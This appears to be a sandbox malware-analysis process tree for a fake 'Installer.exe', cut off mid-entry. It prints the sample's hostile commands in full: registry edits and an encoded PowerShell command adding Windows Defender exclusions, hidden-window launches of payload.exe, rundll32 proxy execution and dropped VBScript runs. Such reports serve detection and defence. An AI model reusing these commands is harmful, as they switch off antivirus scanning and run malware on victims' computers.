  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1984 --field-trial-handle=1876,i,7690612053612445375,13189240659833828444,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  PID:2640
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:4588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:5536
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\svcrun_138a20.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:1172
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\svcrun_138a20.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4908
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5216
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:1900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2432
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5604
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987" /t REG_DWORD /d 0 /f
    3⤵
    PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:60
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4852
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    PID:2952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5200
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5984
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:4868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4708
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:512
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5328
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5172
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGIAaABuAG4ANwA5ADgANwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBiAGgAbgBuADcAOQA4ADcAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
  2⤵
  PID:3824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGIAaABuAG4ANwA5ADgANwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBiAGgAbgBuADcAOQA4ADcAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
    3⤵
    PID:1344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'""
  2⤵
  PID:1088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe""
  2⤵
  PID:6712
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
    3⤵
    PID:6752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987'""
  2⤵
  - Executes a command shell one-liner
  PID:6764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987""
  2⤵
  PID:7164
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987"
    3⤵
    PID:6420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'""
  2⤵
  PID:6492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp""
  2⤵
  - Executes a command shell one-liner
  PID:6568
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp"
    3⤵
    PID:6188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:1096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:3068
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
    3⤵
    PID:5640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:6940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6496
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe
  C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe
  2⤵
  PID:980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:696
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
    3⤵
    PID:5788
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
      4⤵
      PID:6788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:6360
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
    3⤵
    PID:6564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:4608
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:6192
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
      4⤵
      PID:6228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:6524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6600
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
      4⤵
      PID:1220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\msihelp_ed8f93.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:7020
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\msihelp_ed8f93.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3972
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
      4⤵
      PID:544

C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
"C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 3408 -o comm=,ppid="
  2⤵
  - Executes a command shell one-liner
  PID:5640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:1944
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4760
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1872 --field-trial-handle=1876,i,18140806844006428522,14174416491485003378,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  PID:3580
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:1252
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1896 --field-trial-handle=1876,i,18140806844006428522,14174416491485003378,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  - Executes dropped EXE
  PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:5928
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\netcfg_0910f6.vbs""
  2⤵
  PID:4088
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\netcfg_0910f6.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:6316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1628
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4868
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:6396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5332
- - C:\Windows\system32\reg.exe
